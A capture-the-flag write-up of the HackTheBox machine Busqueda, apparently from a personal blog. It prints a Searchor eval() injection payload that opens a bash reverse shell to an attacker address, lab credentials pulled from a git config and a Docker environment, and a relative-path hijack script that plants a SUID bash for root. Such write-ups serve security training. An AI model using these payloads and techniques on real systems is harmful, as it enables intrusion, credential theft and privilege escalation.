← hackthebox
HTB easy · linux / web

Busqueda

platformHackTheBox
machineBusqueda
categoryWeb
osLinux
searchor 2.4.0 code injection (ghsa-66m2-493m-crh2) .git/config credential leak + reuse sudo docker inspect --format template injection full-checkup.sh relative-path hijack
Busqueda Machine

Recon

Starting with nmap. Only two ports are open: SSH on 22 and Apache on 80. The web server does not serve on the IP directly, it redirects to the virtual host searcher.htb, so that name goes into /etc/hosts.

[busqueda] nmap -Pn -v -T5 --min-rate 2000 -oN nmap -sSVC -p- 10.129.69.63
Nmap scan report for 10.129.69.63
Host is up (0.14s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
[busqueda] echo '10.129.69.63 searcher.htb' | sudo tee -a /etc/hosts

The site is Searcher, a small Flask app that builds search-engine URLs from a query. The footer credits the Searchor library and pins the version at 2.4.0, which is the whole game.

Exploitation

Searchor 2.4.0 has an arbitrary code execution flaw (GHSA-66m2-493m-crh2): the search routine hands the user-supplied query to Python's eval(), so a query that closes the intended call and appends ,__import__('os').system(...) runs shell commands on the server. The /search endpoint of the Searcher app feeds the query parameter straight into that sink:

engine=Google&query=',__import__('os').system('BASE64_REVSHELL|base64 -d|bash')) #

I used nikn0laty's Searchor 2.4.0 PoC, which base64-encodes a bash reverse shell into that payload and POSTs it to /search:

[busqueda] ./exploit.sh http://searcher.htb 10.10.15.208 4444
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is http://searcher.htb
[*] Input attacker is 10.10.15.208:4444
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
[busqueda] nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.69.63 55444
svc@busqueda:/var/www/app$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)

That is a foothold as svc, the account running the app, and the user flag is in its home directory.

Privilege Escalation

Credentials from the git config

The app lives in a git working tree, and /etc/hosts shows a second virtual host, gitea.searcher.htb, backed by a Gitea container. The remote URL in /var/www/app/.git/config carries a set of embedded credentials:

svc@busqueda:/var/www/app$ cat .git/config
...
[remote "origin"]
    url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

The password jh1usoih2bkjaspwe92 belongs to cody in Gitea, but it is also reused for the svc system account, which unlocks sudo:

svc@busqueda:~$ sudo -l
[sudo] password for svc:
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Reading the script through docker inspect

system-checkup.py exposes three actions: docker-ps, docker-inspect, and full-checkup. The docker-inspect action passes a user-controlled value straight into docker inspect --format, so any Go template works as a read primitive over the containers, including their environment. Dumping the Gitea container's env leaks the database and admin password:

svc@busqueda:/opt/scripts$ sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  ...   NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   ...   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   ...   mysql_db

svc@busqueda:/opt/scripts$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config.Env}}' 960873171e2e
["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306",
 "GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
 "PATH=...","USER=git","GITEA_CUSTOM=/data/gitea"]

That password, yuiu1hoiu4i5ho1uh, logs into Gitea as administrator, where the private scripts repo holds the source of /opt/scripts.

Gitea admin repos - Busqueda Machine Gitea scripts repo - Busqueda Machine

Reading it shows exactly how full-checkup is invoked, and the bug: the helper script is run by a relative path.

elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']     # relative path, run as root
        print(run_command(arg_list))
        print('[+] Done!')

Relative-path hijack for root

subprocess.run(['./full-checkup.sh']) resolves the script against the current working directory, not an absolute path. Since svc is allowed to run the whole thing as root, I just cd into a writable directory, drop my own full-checkup.sh there, and run the sudo command from it. The malicious script makes a SUID copy of bash:

svc@busqueda:~$ cd /tmp
svc@busqueda:/tmp$ cat > full-checkup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
svc@busqueda:/tmp$ chmod +x full-checkup.sh
svc@busqueda:/tmp$ sudo python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:/tmp$ /tmp/rootbash -p
rootbash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)

The root-owned SUID rootbash keeps its privileges with -p, giving euid=0 and a read of /root/root.txt.

─────────────────────────────────────
HackTheBox // Busqueda
ribeir.in
─────────────────────────────────────